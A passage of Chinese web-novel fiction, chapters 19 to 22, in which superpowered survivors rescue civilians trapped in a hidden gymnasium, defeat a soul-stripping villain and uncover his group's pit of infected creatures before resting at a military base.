所以这栋庞大的建筑才会从现实世界里凭空消失,因为它根本就不在他们所处的空间,而是某位异能者单独开辟了一块空间安置体育馆!
19. 守护者的黑色堡垒11
“你们可以看到?那能不能带我们过去?很多百姓都被关在那里。”谢增一下子变得有些着急。数千民众失踪多年,晚一分钟就可能多一个人死在坏人手里。
“放心,他们现在还算安全。”林随遇安抚道:“所以,那些人为什么要把百姓关起来?”
伏苓没说话,但在下一个拐角转向了前往体育馆的路上,其他人也纷纷跟上。
谢增看着眼前的队伍对伏苓言听计从的样子,目光在伏苓身上停留了好几瞬。
无能力者?
为什么这些异能者对一个无能力者这么唯命是从?
他抿唇,也不好发问,只能解释道:“他们想将百姓喂给感染者,从而使感染者实力增强……”
“打断一下,”林随安抬手:“这对他们有什么好处?”
她实在无法想象,为什么会有人想要感染者数量增多?
“这个也是之前研究出的结果之一,刚刚我提到过,感染者和异能者都是因为雨水变异产生的结果,他们本质上是因为同一物质导致的,具体是什么我们还在研究。”谢增说,“但那群混蛋不知道从什么地方得知了这一消息。他们以感染者为食,并试图通过向感染者喂食人类身体让感染者变强大,这样被他们吸收的能量就会更多。”
“我去……”祝无忧无意识呕了一声,“好恶心。”
林随遇神色有点冷:“这种被军区封锁的消息他们怎么会得到?”
“也未必是从军区得到的消息。”程承说,“感染者与异能者存在的情况已经八年,这群人又是以感染者为食,自然会遇到实力不同的感染者。八年了,足够他们实践出感染者强大与否的原因,和他们实力增强与所食感染者实力的关系。”
林随安抿着唇,一向波澜无惊的语气带上了些许愤怒:“也就是说,他们绕这么大的圈子,就是为了避开军区视线追捕百姓来增强自己的实力?”
她咬牙:“这群畜生!”
体育馆近在眼前,伏苓停下脚步,声音平淡:“到了。”
谢增的视线茫然地扫了一圈,最后停留在伏苓身上:“女士,我看不到。能不能请你帮我开一下门?”
“可以。”伏苓点点头,纠正道:“伏苓。”
谢增愣了一瞬,似乎是没明白。程承翻译道:“她的意思是,叫她伏苓就好。”
伏苓上前一步,推开大门。
腐朽的气息扑面而来,在谢增他们眼中,黑色的庞然大物几乎贴着他的鼻尖陡然出现,他下意识退后半步,瞳孔剧烈收缩。
光线照入,馆内还在叽叽喳喳的人们霎时间安静了,个个瞪着大眼睛一眨不眨地看向门口。
谢增短暂地愣神两秒,立刻下达命令道:“快,马上带着百姓回军区!”
对立组织的一波攻击刚刚撤离,短时间内大概率不会再来,这是转移民众的最好时机,一分一秒都不能浪费。
谢增不愧是常年在军队里的人,说话的时候吐字清晰、气沉丹田,不知是因为体育馆内没人说话还是因为他的声音实在是太洪亮了。一时间,整个体育馆内都回荡着他气势如虹的声音,以及紧接着战士们进入的脚步声。
小陈呆呆站着,喃喃道:“军区……是军区的人!”
他的叫声如同一个地雷炸进水潭,溅起一片浪花。
人群突然喧嚣起来,哭喊声震天动地。
“军区”两个字在他们眼里就像守护神一般,只要听到,心里便会安心许多。
小陈方才跟大伙解释过如今的情况,他知道的不多,但已经尽可能将自己知道的信息都公之于众。
可即便如此,盘旋在在场百姓头上的疑问依旧很多。
“我打断一下!”有人大吼出声,周围蓦地安静下来,许多人都停下的动作,朝这人看过来。
大吼的是一个男人,在棺材里待了多年,他身形枯槁,面容蜡黄,看上去精气神并不好,但依旧用尽浑身的力气质问:“我想请问一下,我们这些年到底身处什么地方?那幻境对于我们来说到底是好是坏?如果是好,为什么要把我们从里面拉出来回到这个满目狼藉的现实?如果不好,为什么到现在才救我们出来?七年,我们在里面度过了七年!军区说好保护百姓,保护的结果就是七年之后才将我们从泥坑中拉出来?”
他张开双臂,露出几乎只剩下骨头的手臂:“你们看看我现在是什么样子?我们现在是什么样子?我们该怎么用这副身子对抗现实?还不如就在幻境里死了算了!起码还算是安乐死。”
伏苓靠在墙上,微微皱了皱眉。
祝无忧凑过来,小声问:“不会吵起来吧……”
程承也压低声音:“放心,谢增他们肯定是以安抚为主。”
果然,谢增看着男人,深深鞠了一躬:“抱歉,这确实是我们的错。是我们不够强大,才浪费了这么多时间,对你们造成的伤害,我很抱歉。”
馆内鸦雀无声,谢增直起身子,直视着男人的双眸,认真道:“但是,我可以肯定地告诉你们,幻境绝非好事,能在真正出事前找到你们,我真的很高兴。请各位放心,军区不会让你们上阵杀敌,我们会保护你们的安全。请大家冷静一下,先跟我们回去,这里不宜久待,至于其他,我会在回到安全的地方跟大家解释。”
男人看着他,半晌,他放下双臂:“……好,那我就,再相信你们一次。”
谢增松了口气,招呼战士们:“快。”
他带的人不多,没办法带着这么多情绪激动的百姓迅速回到军区,早在见到体育馆时,谢增就已经发出支援请求,几人对峙这么一小会,支援的战士们已经到了。
一切都井然有序地进行着。
伏苓抱着臂,程承站在她身侧,侧头看着她翘长的睫毛:“晚上我们在这待着?”
伏苓颔首:“行啊。”
祝无忧被群众情绪感染,眼泪汪汪地上去帮忙。伏苓看着她的身影,声音轻轻:“明天他们会来。”
那些靠吸百姓血的异能者。
她不知道他们是谁,也不知道他们有多少人,但她觉得,自己该留下,彻底清
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缴这些害群之马。
程承笑了一下,眼睛弯弯的:“嗯,那我们一起。”
林随安走了过来,她没有去帮忙安慰百姓,看着两人道:“你们是不是准备留下来以身犯险?”
程承点头,又摇摇头:“也不能算是以身犯险,只不过是守株待兔。”
林随安叹了口气:“差不多,不过也没有让外来者深陷危机的道理,我和哥哥会跟你们一起。”
毕竟那些人是为了她和林随遇的身体,他们俩必须在这。
程承也没拒绝,在不知道敌方实力的情况下,己方人越多胜算越大。但他还有一点顾虑:“我们将幻境打破了,他们会不会发现?”
林随安想了片刻,才摇头道:“我个人倾向于不会,如今幻境只破了一个小口,于整个幻境来说,几乎微不可察。”
她顿了顿,继续道:“如今幻境里还有很多出不来的人,他们完全可以维持幻境的运行,短时间内,多半不会被察觉。”
只是没想到,那些无法逃离的百姓,却是这场对抗中最重要的一环。
林随安心中有些苦涩。
果然,最后还是需要一批人的牺牲,才能维持大局稳定。
军区的人来得很快,百姓被陆陆续续地接走。他们训练有素,做起事情干脆麻利。
很快,馆内就剩下了伏苓他们五人。
程承绕着体育馆走了一圈,看着被伏苓破坏得彻底的棺材,叹了口气:“明天他们看到这些可怎么办?”
他原本想的是几人躲进棺材里,趁他们不备率先攻击的,但看样子怕是不太行了。
伏苓笑嘻嘻道:“他们进来,我们直接杀就行。”
眼下也只能这样了,程承认命地在伏苓身侧坐下。
于程承不同,祝无忧闻言却是松了口气。
她才不要进那棺材里呢,多吓人啊。
林随遇在几人中间放了个光球,暖烘烘的,还挺舒服。
祝无忧将手伸过去了些,感受到灼人的温度,惊奇道:“你这异能还能发热呢?”
林随遇瞥了她一眼,得意道:“当然,我很厉害的。”
他脑袋摇摇晃晃,将头发晃来晃去,林随安将他头顶翘起的呆毛摁下:“别吹牛了,哥哥。”
林随安喊”哥哥”吐字总是清晰的,尾音下跌,音色薄凉,却显得格外有感觉。
祝无忧看了她一眼,心想要是林随安喊自己哥哥,她说不定会直接沦陷。她鼓起勇气:“你能喊我一声哥哥吗?”
似是没想到她会这么说,林随安微微一愣。
“好啊你!”林随遇跳了起来,指着她满脸震惊:“你还想跟我抢妹妹?”
他气得深呼吸了两下,才继续控诉她:“就算抢,让她喊你姐姐就算了,凭什么让她喊你哥哥?我才是她唯一的哥哥!”
祝无忧也意识到自己刚才说了什么惊世骇俗的话,她面色微红,有些不好意思,但又不甘心被林随遇指着鼻子骂,顿时也跳了起来:“凭什么只喊你不喊我?我也要被喊哥哥。”
20. 守护者的黑色堡垒12
程承扶了一下额。
本来只有个祝无忧还算好带,现在多了个林随遇,他都不知道该怎么控制场面。
伏苓侧了侧头,两人目光不经意间对视。她笑了一下,似乎是有点困了,声音莫名轻软:“哥哥?这两个字这么大魔力?”
程承被这声“哥哥”喊得差点直接跌倒在地,他扶着棺材,深呼吸了几下才稳住:“不知道,我不懂,我没有弟弟妹妹。”
林随安目睹了两人说话的全过程,若有所思地挑了挑眉。
祝无忧和林随遇没吵多久,谢增便带着人回来了。
一看到他们进来,林随遇立马闭嘴,装出一幅高冷的样子。
谢增笑了一下,没留情面:“林队,你们吵架的声音在馆外就听到了。”
“哈哈哈!”祝无忧发出毫不掩饰的嘲笑声,“也就只有你自己觉得林随遇是沉稳高冷的人了。”
林随遇:“……”
他闭了闭眼,咬牙切齿:“能闭嘴吗?”
他一把拉过林随安:“随安你说,我是不是也经常沉稳的?”
林随安点点头,认真道:“对,哥哥偶尔确实很沉稳。”
林随遇“哈”了一声:“经常,是经常好吗?”
看着几人吵吵闹闹的样子,谢增弯了弯眼。
其实他们都没变,才是最好的事情。
林随安看向伏苓,问道:“跟你们同行这么久,我一直没问过你们为什么要来集庆。”
伏苓换了个舒服的姿势靠着:“只是路过。我们要去肃州。”
“肃州?”林随遇注意力被吸引:“去那么远的地方做什么?”
伏苓坐的离程承很近,两人的胳膊碰在一起,她无意识地将一部分重量压在程承的胳膊上,懒洋洋地说:“去拯救世界啊。”
这句话半是认真半是开玩笑。
虽然听上去有点不着边际,但林随安不觉得伏苓会莫名其妙编出这么个理由来,一定是因为他们要去肃州的理由与“拯救世界”搭边。
所谓的拯救世界——她可以猜到,就是这场持续了八年的灾难。
数年来,即便他们身处幻境,林随安也始终没有放下过这场雨灾,而今她回到现实,见到了无数与灾难对抗的战友、被灾难磋磨的百姓、原本和平富裕的城市在一场场足以致命的雨水中化成腐朽的废墟。
她迫切地渴望结束这一切,想将世界扳回正轨,但却始终看不到一点可以改变现状的机会。
而此刻,似乎这个机会近在眼前。
林随安抬眼对上伏苓的眸子,浓密的睫毛下,伏苓眼中调笑的情绪下仿佛蕴藏着无数复杂的感情,像火山之下滚烫的岩浆,涌动着,寻找着喷溅出世的机会。
那股极具生命力的岩浆被山灰掩藏,伏苓勾了勾唇:“要一起吗?”
林随安一时之间呆愣住了,他们之间并不熟悉,甚至一个小时之前,他们还是站在对立面的强劲对手。
伏苓就这么,对她发出邀请了吗?她不需要考察一下自己和哥哥的基本情况吗?
她下意识发问:“可是,我们才相处不到一个小时。”
你真的敢把后背交给一个陌生人吗?
伏苓无所谓地耸耸肩:“那又怎么样?现在这个世道,还能挤出时间给我们慢慢相处培养感情吗?
也是。
林随安垂下眸子。心脏疯狂跳动。
扪心自问,她对伏苓的邀请是心动的,但先不说这一趟会有多危险,单说集庆如今也还是需要他们的。
见她许久未说话,伏苓宽慰道:“没事,不急着做决定。我们先解决集庆的问题。”
林随安点点头,顿了顿又看向还在忙活的谢增:“增哥,你们对那个组织了解多少?他们的人数、异能、实力都清楚吗?”
“他们人数很多,规模最大的时候有近三百人,每个人的实力都很强。我们与他们制衡多年,俘获了不少骨干成员,如今可能还有一百来人吧。”谢增说,“明天来的若是这些成员还好,他们虽然实力强劲,但也没到不可战胜的地步。需要注意的是这组织里面有三个核心成员,我们只和其中两人打过交道,一个异能是制造幻境,一个是创造异空间。”
他顿了顿:“还有一个人我从未见过,可能是负责后勤工作的。但是……”
他扫了一圈周围破碎的棺材:“之前我们一直在猜测最后一人的异能究竟是什么,如今似乎已经有结果了。”
林随安了然,她往后靠了靠,眉心微蹙:“这个异能……似乎有点棘手。”
程承点点头,表情同样凝重:“如果明天来的是这最后一人,可能就有些麻烦了,得想个法子……”
祝无忧疑惑地看看这个看看那个:“额,你们都猜到了?你们背着我建小群了?异能是什么啊,为什么不直说啊?”
林随遇叹了口气,满脸悲痛:“什么!他们没有拉你吗?太过分了!”
祝无忧炸毛:“真有小群?!”
一只手摁住她炸起来的脑袋,伏苓语气平平:“没建,异能是剥离魂魄。”
祝无忧猛地转头:“哦……哦?哦!”
林随遇乐不可支:“你个傻子。”
伏苓抱着臂:“其实,也没那么难搞。”
众人的目光齐刷刷地看向伏苓。
她微微一笑:“他剥不了我的魂魄。”
夜色厚重,几人又聊了几句便安静了下来。
程承从包里抽出一件薄外套,轻手轻脚地盖在歪在棺材壁上睡觉的伏苓身上。
他目光在她安静垂着的睫毛上顿了顿,又抿着唇缓缓移开。
……
翌日。
馆内一片安静,只有偶尔几人传来的清浅呼吸声。
咔擦——
伏苓突然睁开眼睛,对上了程承的双眸。
程承显然也是刚醒,有些慌乱地移开目光,故作镇静道:“醒了?”
伏苓没有回答他,她安静了两秒,声音轻轻:“有人来了。”
程承顿时紧绷起来,他点了点头,红雾弥漫,落在所有人的鼻尖,众人悠悠转醒。
伏苓悄无声息地走到大门一侧。
门外没什么声音,如果伏苓刚刚没有听见那一声清脆的踏碎枯叶的声音,她或
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许真的会怀疑自己是不是听错了。
程承躲在门的另一侧,看着缓缓起身的众人,他将食指抵在唇边,示意大家安静。
两人一左一右地等了片刻,门外终于响起了靠近的脚步声。
伏苓弓起身,全身肌肉绷紧,目光紧紧盯着大门的缝隙。
来人的脚步声并不沉重,落脚频率不快,像是在欢快地逛街,丝毫不认为内里会有危险。
谢增捏紧了拳。
就是这群人,一个个都轻松自在为所欲为,却将他们逼到日日愁苦,不得休宁!
林随遇做了个手势,身后战士们立马领会——敌人靠近,准备攻击。
他缓缓开始倒数。
三。
二。
一!
门被推开的那瞬间,所有人的攻击一齐发动,光束刺目,红雾弥漫,星牌散落,众人齐齐跃起,攻击直指来者命门!
站在门外的人身形健硕,面对这突如其来的攻击也只是稍微一愣。
下一瞬,他微微勾唇,不慌不忙地错开脚尖。他的语气带上了些许揶揄:“剥离。”
仿佛一张无形的大手扼住脖颈,所有异能和攻击都停在了距离他半寸的地方,然后,如同一阵迎风的粉末一般散去。
程承力道失控,向前踉跄,他猛地回头。
身后“程承”的身体软绵绵地倒了下去,砸在地上。
他抬起手,透过手掌看到了地面。
魂魄离体。
程承瞬间反应过来。
他扫了一眼周围,所有人都面色茫然地飘在半空,身体七横八竖地倒在地上。
门外的人笑了一声,将所有人的注意力都吸引了过来。他模样魁梧,声音却又尖又细,有些娇俏地抬手捂着嘴笑:“在埋伏之前,还是得搞清楚对面人的实力吧?”
他满意地将目光从众人脸上一一扫过:“傻眼了吧?是不是没想到我的异能这么强大,你们——”
他点点谢增,“军区谢队,好厉害的名号哦,今天还不是败在我手下?”
壮汉继续碎碎地念叨着:“就说该让我在一线,要是我早点跟对军区对上,说不定你们早就被我一锅端了,还能对峙八年?”
谢增死死皱着眉,紧盯着他,目光不经意间朝他身后看了一眼。
那壮汉碎碎念了片刻,终于消停下来,掏出腰间的枪,对准了谢增的身体:“再见咯,谢队。”
“哦,差点忘了告诉你们,”他突然想到了什么,面露倨傲,将手上的枪转了一圈:“我们的这些武器还是从你们军区拿的,吕翔的异空间虽然比不上我,但好歹有点用,能把你们军库里的武器转移过来。”
林随遇狠狠皱了皱眉:“你们简直!”
“生气啦?八年啊,拿了不少呢。”壮汉笑嘻嘻的,显得格外欠揍。
“哎呀算了,跟你们有什么好说的,将死之人罢了。”他再次将枪口目标明确地对准谢增的身体,指腹抵在扳机上。
“跟你们亲亲谢队说再……啊!”就在即将叩响扳机的前一瞬,他发出尖锐的惨叫,手中的枪被一脚踹开,直直摔在地上。
21. 守护者的黑色堡垒13
伏苓单手扣住他,膝盖狠狠撞击他的□□,将他整个人摔在地上。
在场的男人无不面露狰狞。
谢增紧闭着嘴巴,最终还是小心翼翼地发问:“额,那个,就是,她一直这么打人吗?”
程承:“……我不知道不要问我。”
林随遇讪笑两声:“原来在幻境里面还留了情面。”
伏苓一脚踩在缩成虾的壮汉胸口,俯身,冰凉的能量枪抵在他的太阳穴。她笑得甜美:“话好多啊。”
挣脱异能的时间比伏苓预料的长,否则她也不可能任凭这男不男女不女的畜生在这趾高气扬地装逼。
伏苓将枪口一下一下地轻轻敲打着他的太阳穴,像是在闲聊一般说道:“在得意之前,还是得先搞清楚是不是所有人都被你困住了吧?”
她将这人嚣张的言论还了回去。
壮汉额间冷汗直流,动都不敢动。
一看就是个欺软怕硬的主。
他尖叫:“为什么你的魂魄为什么没有离体?!”
伏苓脚尖使力,逼得这人又发出一声惨叫。她蓦地收回笑容,眼神冰冷:“你太吵了。”
她将能量枪抵近了些,壮汉吓得魂飞魄散:“别!绕我一命绕我一命,我什么都听你的。”
闻言,祝无忧轻抿唇瓣,努力压制住好奇,但还是忍不住吐槽:“怪不得不让他上一线,早上上去晚上老巢的底就被掀了。”
林随安没忍住弯眼笑了一下。
“真这么听话吗?那,还不知道你的名字呢?”伏苓怼了他一下,好奇道:“你叫什么呀?”
那人吞了吞口水,小心翼翼地答道:“苟起起。”
伏苓狠狠将枪口怼上他的太阳穴,声音冷了下来:“你跟我卖什么萌?”
眼看这人一言不合就要开枪,苟起起凄厉大喊:“没有!我没有卖萌,我就叫苟起起!”
苟起起心态彻底崩了。
比起被伏苓抵着太阳穴,他宁愿谢增把刀插他胸口!
这女人阴晴不定,似乎根本不想跟他谈判,只想随心随意地虐杀自己。这种是不是可能造成致命一击的感受太痛苦了。
他当场就想把谢增他们给放了,起码能拦着这女人一点,于是小心翼翼地说:“那个,我……”
伏苓不耐烦地又怼了他一下,道:“你狗叫什么?”
苟起起眼泪都下来了:“我叫苟起起。”
伏苓皱眉。
这人脑子有问题吧?
她没了耐心,直接地抵住他的脑门:“把他们的魂魄都摁回去,不然就是你先死。”
她声音又变得粘腻起来:“当然,你要是不愿意的话,我也可以陪你玩玩哦。”
亲娘啊!我哪敢不乐意!
苟起起不带一丝犹豫地收回异能,谄媚道:“我给他们都送回去了,您看……”
他示意了一下踩在自己胸口的脚。
伏苓:“呵呵。”
苟起起:“好的没关系一切都看您我躺着就好。”
还飘在半空看戏的人被一下子拉回体内,晕头晕脑地站了起来。
魂魄归位会有些晕眩,这算是正常情况。
程承缓了一下,接过伏苓的枪继续抵着苟起起,声音低沉:“带我们去你们的窝点。”
苟起起有些犹豫,动摇间不经意地扫了一眼伏苓,看到她抱着臂冷眼看向自己,他立马一个激灵,掷地有声:“好,我带你们去。”
谢增挠挠脑袋靠近了伏苓,感激道:“谢谢。”
伏苓莫名其妙地看了他一眼:“没事。”
她也不是专门为了救他,本就是计划的一环,伏苓不太懂他道谢的逻辑。
等谢增离开,她摊开手看向自己的手心。
“在想什么?”程承的声音从她耳侧响起。
伏苓抬起头,谢增接管了苟起起,程承便没有继续跟着。他从前面走过来,伏苓本低着头往前走,一时没刹住脚,两人忽地离得极近,鼻尖都快要靠在一起。
对方漂亮的眸子在他眼中放大,程承猛地退开一小步,轻咳了两声。
伏苓没在意,她眉心微蹙:“我觉得有点奇怪。”
大部队在前面走着,他们俩说话间脚步稍慢,与前面的人群隔了几步远。
程承:“怎么了?”
“事情发生得太快,有些事情我没来得及跟你说。”伏苓说,“作为无能力者,我无法胜过一些控制系,或是大范围的异能。能走到今天这个地步,其实也是借助了一些工具,比如我的软剑,它可以切开任何异能。除此以外,就是我比较特殊的身体素质。在面对控制系异能时,只要我全神贯注地抵抗异能能量,我就能在瞬间突破桎梏,发动反击。”
她顿了顿:“在临安,即便对手再强大,我也能在毫秒之内挣脱,但今天,我险些失手。”
程承皱了皱眉。
“不,其实也不能说是失手。”伏苓说,“我能感受到,我依旧可以挣脱束缚,而且是一定可以,但花费的时间却相较之前大大增加。第一次进入幻境时我们意外昏睡,我被幻境异能控制,这我可以找到理由——是因为我没有与它进行对抗。但刚刚跟那个枸杞对峙的时候,我居然也无法在第一时间突破,这……在临安从未发生过。”
程承问:“你觉得是什么原因?”
伏苓摇摇头:“我不知道。”
程承抱着臂走了两步。
要找到原因,就要看两者之间的差异。
临安的异能者和集庆的异能者有什么区别?
他突然顿了顿。
伏苓转头看他:“?”
程承眸中思绪纷飞,他看着她,说:“要说差别,两者之间最大的差别就是,集庆异能者食用感染者来增强自己的实力。”
伏苓蹙眉。
“感染者或许是出现这个问题的原因,但也可能是更深层次,比如是不是因为这群异能者的实力增强了?”程承说,“之前谢增说,这里的异能者通过强大感染者,食用感染者,从而增强自己的实力。如果有一条能量链,所有的能量都会流向这些异能者,也就是说,如果最开始我们每个异能者体内蕴含的能量都是一样的,那集庆异能者体内的能量会是正常异能者的数倍。”
“你与异能者对抗,本质上来说就是跟他们所拥有的能量对抗。一旦他们的能
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量超过你的负荷值,你的压力自然会增加。”程承说。
伏苓点点头,若有所思:“原来是这样。”
看她难得露出思索的神色,程承笑道:“不过这些都是基于我们自己的猜测,未必正确,之后我们根据其他线索再看看。”
伏苓瞥了他一眼:“什么其他线索?难不成还有人要吃感染者啊。”
程承抓了抓卷毛:“也是……不知道这些人怎么能做出这种事情的,生啖人肉啊。”
-
苟起起带着他们左转右拐,进了集庆一处有名的景点内,最后停在一块破旧的断墙前。
这片断墙也算是古时留下的老古董了,就算不是集庆本地人都知道,所以,如果不是遇上什么特殊情况,也不会有人无缘无故地去砸这片断墙,以至于乱世八年这断墙还是完完整整地停在这里。
苟起起有些讨好地看了一眼走上前的伏苓:“我们的窝点……不是,我们的基地就在这里。”
断墙不高,放眼看去四周情况一览无余,根本不像是有地方驻扎的模样。
伏苓踹了他一脚,语气阴狠:“你耍我们呢?”
苟起起差点被她踹倒在地,立马哭丧着脸喊冤:“大人冤枉啊!我们的基地真的在这。”
说完,他小心地瞄了一眼伏苓:“你要是信得过我,可以让我给你们打头阵。”
程承勾唇,红雾扣住他的手腕:“嗯,你先。”
苟起起没注意到那点肉眼几乎看不见的红雾,还以为程承是相信他的为人,顿时感动得涕泪横流:“谢谢你,你真是个好人。”
程承:“……”
戏真多。
他嘴角抽了抽:“赶紧的。”
这人居然是造成集庆灾难的罪魁祸首之一,他实在是无法想象。但与此同时又多了几分担忧,不知道其他人得多聪明沉稳才能将被苟起起拉低的线给拽回来。
“哦哦。”苟起起回过神,朝着面前的断墙直直地撞了过去,一边撞还一边解说道:“像这样。”
那断墙像是被石子惊扰的潭水一般泛起涟漪,苟起起走进,没了身影。但下一秒,他又将脑袋伸出来:“你们看,这样就进来了。”
萧瑟的园林,破损的断墙,只有一个脑袋在张嘴说话。
祝无忧摸了摸自己的鸡皮疙瘩,又躲到了伏苓身后。
伏苓与程承对视一眼,后者点了点头:“我先进去。”
伏苓颔首:“小心。”
程承手掌轻转,红雾顿时裹住全身,他迈开长腿,径直跨了进去。
墙外的众人屏住呼吸,就连伏苓都握住了剑柄。
几秒后,程承走了出来:“没有危险,进来吧。”
众人松了口气,陆陆续续地走进了断墙。
墙内别有洞天,似乎是用异能创造出来的异空间。
里面空无一人,谢增抬手,立马带着人马朝四周扫荡追捕。
伏苓脚踩在铁质钢板上,眼前是一个圆型的建筑,钢板堆叠,但却在中间空出了几乎大半,用栏杆围着。
她靠近栏杆,向下看去。
看清下面是什么,伏苓的瞳孔微微收缩。
22. 守护者的黑色堡垒14
四面钢制墙壁向下延申,底部场地相对于天花板和他们如今所站着的地方显得大了许多,里面血迹斑斑,挤着满满的感染者。
似乎是那些人常常直接从这里往下扔东西给感染者,一察觉到上面有人探头,无数感染者突然昂着头看过来,血色的眸子在钢板的映照下显得幽深发亮,格外骇人。
众人里关注伏苓的人不少,她一探上栏杆,就有好几个人走过来一齐向下看去。
一个个脑袋探出去,惹得底下的感染者更疯狂了,他们疯狂嘶吼着,毫无章法地爬上旁边人的身体伸手试图勾他们。
巨大的声响让其他没到栏杆的人也看了过来。
祝无忧后撤一步,脸色煞白:“不是,这,这就是……”
“多半是了。”伏苓冷冷回了一句,目光如刀子般割向苟起起,吓得后者又是一抖,哆哆嗦嗦地垂着头不敢看她。
林随安语气凝重:“如果今天我们没有反击成功,我和哥哥也会被扔下去吧?”
她看向苟起起,后者察觉到她的视线,又讪讪抬起眼:“我今天确实是准备去处理你们俩的。”
林随遇冷笑一声:“真有胆子。”
在军区眼皮子底下搞出这么个丧心病狂的地方,只为满足自己的私欲。
一群畜生!
趁着几人交谈观望,谢增已经带着人将整个建筑都扫荡了一圈,他们几人摁着一个垂头丧气的男人朝着他们走来,后面的人还推着一堆乱七八糟的武器。
程承扫了两眼,都是大家伙,一看就知道是军方的武器。
谢增道:“我说怎么死活找不到这些人,原来是在这藏着呢。”
他顿了顿,继续道:“这人就是吕翔,异能是创造异空间那个。其他成员抓了不少,有几个逃走了,之后军区一个都不会放过。”
程承这才看向吕翔的脸,他顿了一下。
这是之前在幻境酒店前的西装男。
伏苓嗤笑一声:“嘿,在幻境关着里好玩不?”
吕翔眼神怨毒地看着她,却又不敢说什么。
那红雾不仅隔绝了信号,还隔绝了他异能的向外使用和收回,导致自己没能及时逃离,知道谢增他们将自己追捕才强制退出幻境。
但幸好……老大逃出去了。
几人上前压住了苟起起,他早有预料,颤颤巍巍开口:“我将功抵过,能不能减刑啊?”
谢增笑了一声:“把你们第三人供出来就给你酌情减刑。”
闻言,苟起起神色慌张了一瞬:“什么第三人,我们只有两个人啊。”
程承把能量枪还给伏苓,后者顺手插到后腰处,程承看了她后腰被弄皱的衣服,叹了口气顺手帮她理好,他看向苟起起:“别装了,你以为我们傻?”
后面被擒住的吕翔也是一脸不服气:“我也能造出幻境,你们凭什么不相信我?”
林随遇冷笑一声:“那你现在造一个。”
吕翔哪里造得出来,只能一个劲地重复“没有第三人”。
林随安:“看不出来,你们还挺忠心的。”
她走到苟起起面前,绕着他观察了一圈,踩住他的手腕扳开他的手指,终于在他的食指里面发现了一个嵌在肉里的小型信号器。
谢增皱了皱眉,有些懊恼:“失策,应该先检查一下的。”
林随安松开嚎叫的苟起起,宽慰道:“没关系,这种程度的疏忽很正常,不必太多苛责自己。”
林随遇笑笑:“就是,也不是什么不可挽回的事情。这次抓不到就接着抓,反正他们窝点都被端了,成员也溃不成军,就胜他一个人,起不了什么风浪。”
谢增点点头,挥手让人把抓到的几个人带下去。程承问道:“需要我们帮忙吗?”
谢增:“不用,我们来就好。你们已经帮了我们很多了,我会向上级报告,给予你们军方的最高荣誉。”
“哇——”祝无忧挤到前面来,眼睛亮晶晶的:“我也有吗?”
谢增笑道:“那是自然,祝女士也出了很大一份力。”
大部队压着抓到的数个成员出去了。林随安本跟着他们走了两步,又停下脚步回头看来:“你们接下来什么打算?”
程承“唔”了一声:“休息片刻就离开吧。”
一只手勾上林随安的肩膀,林随遇笑眼弯弯:“不如去军区歇会?你们可是大功臣,没道理让你们自己呆在外面。”
程承思索了两秒,看向伏苓:“你觉得呢?”
伏苓耸耸肩,问道:“军区那地方是我们能进的?”
林随遇笑了:“这话说的。现在又不是和平年代,如今的军区没那么神秘,只是一个庇护所而已。”
他走近了些,揽过程承的肩膀:“走啦走啦。”
-
军区里人很多,战士们忙着安置百姓,林随安便带着他们去了食堂坐着。
食堂挺大,但多半容纳不了那么多灾民,后厨通道停着七八个小推车,不少人正帮忙把餐食放在车上推到安置百姓的地方去。
林随安拿了几个餐盘给伏苓他们:“现在人手不足,就麻烦一点,你们想吃什么自己装吧。”
窗口的菜不多,都是能迅速补充能量且饱腹感较强的,伏苓随手装了些,在桌子边坐下。
林随安也端着餐盘坐在她对面:“之前都在幻境里吃,现在突然吃到战备食物,还有些不习惯呢。”
伏苓笑了笑:“其实还好,我们平常也只是吃点压缩饼干之类的,有热乎的就很不错了。只是那些习惯幻境的百姓们可能要适应一段时间了。”
“可不嘛,”林随遇也回来了,他长腿一跨坐在林随安身边,“刚刚还听到他们在讨论,说刚回来的百姓吃不惯这些食物,正闹着呢。”
伏苓用筷子戳了戳热腾腾的米饭:“可以理解。”
程承和祝无忧也回来了,两人一左一右坐在伏苓身侧。程承听到了他们的聊天,插嘴道:“那你们怎么解决的?这事也不能马虎,容易引起暴乱。”
人以食为天,一般来说,日日吃着自己不喜欢的食物,人多半会出现情绪问题。
“哦对对对!”祝无忧说,“就像之前不是报道说嘛,出国没有好吃的,一天哭九
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顿!”
林随遇歪在林随安身上笑了一会,才直起身说:“反正呢,我们这边的对策是先跟他们解释清楚如今的处境,下一顿多放点调料适应一下,然后再满满减少。”
他摊手:“不过就军区储存的那些调味品,估计也支撑不了多久。”
先前储存的物资多半是为了预防紧急灾难的发生,存放的基本都是一些必需品。身处和平年代的人们,自然只会将目光放在能让世人活下去的东西上,而并非那些用以生活调味的物品。
这很正常。
只是当下的百姓们只能熬一熬了。
林随安笑着摇摇头:“算了,不说这个。上级已经在商讨后续方案,不会有什么问题的。”
她顿了顿:“之前你们的邀请……”
伏苓抬起头,嘴里动作没停。
林随安说:“一路上我也一直在思考,说实话,我……是希望跟你们同行的。”
祝无忧眼前一亮:“真的吗!”
林随安笑着点点头:“但在那之前,我也希望你们能跟我们共享所了解的信息。”
“这个自然没问题。”程承说着,转头看了一眼伏苓,“另外,我们有一位非常厉害的研究员,希望能跟军区搭上关系,一同对抗灾难。”
“研究员?”林随安轻轻蹙眉,公事公办道:“我只能帮你们搭上关系,军区愿不愿意合作我不能保证。”
程承:“没关系,只需要见一面,军区会合作的。”
他有预感,方休一定是知道什么,且他知道的信息绝对是军区想知道的。更何况,如今人才紧缺,就凭他的技术和脑子,军区就没理由拒绝。
他简单将去肃州的原因和其他一些信息同步给了林随安。
林随安稍稍消化了一下,快速将餐盘里的食物消灭:“行,我大概了解了。我先去跟上级说一下你们的要求。”
她端着餐盘走了两步,又走回来怼了怼林随遇:“哥哥,好好招待客人。”
林随遇拖长声音:“知道了。”
林随安很快离开。
“诶,你们在这啊。”谢增的声音从林随遇背后传来,他跨在椅子上,端正坐在林随遇的身边:“刚将百姓安抚好,快累死了。”
第一次见他说这种话,祝无忧惊奇道:“谢队还会累啊。”
话一说出口,她就意识到不对。都是人,怎么会不累呢?不过是形势危急,只能强迫自己打起精神来罢了。
果然,谢增笑笑:“我也不是神仙啊,祝女士。”
祝无忧红着脸摆摆手:“哎呀,我嘴快了,你不要介意。”
“放心。”谢增说,“对了,我听林队说,你们准备离开了?”
程承点点头:“对,可能下午出发吧。这边应该也不太需要我们了。”
“那接下来,你们准备去哪?”谢增问。
伏苓冷声道:“荥城。”
“荥城?”谢增有些疑惑,“怎么会想起来去那边?荥城的情况可不容乐观。”
伏苓已经吃完了最后一口,靠在椅背上说:“我去追杀人。”
23. 永不停靠的轮回01
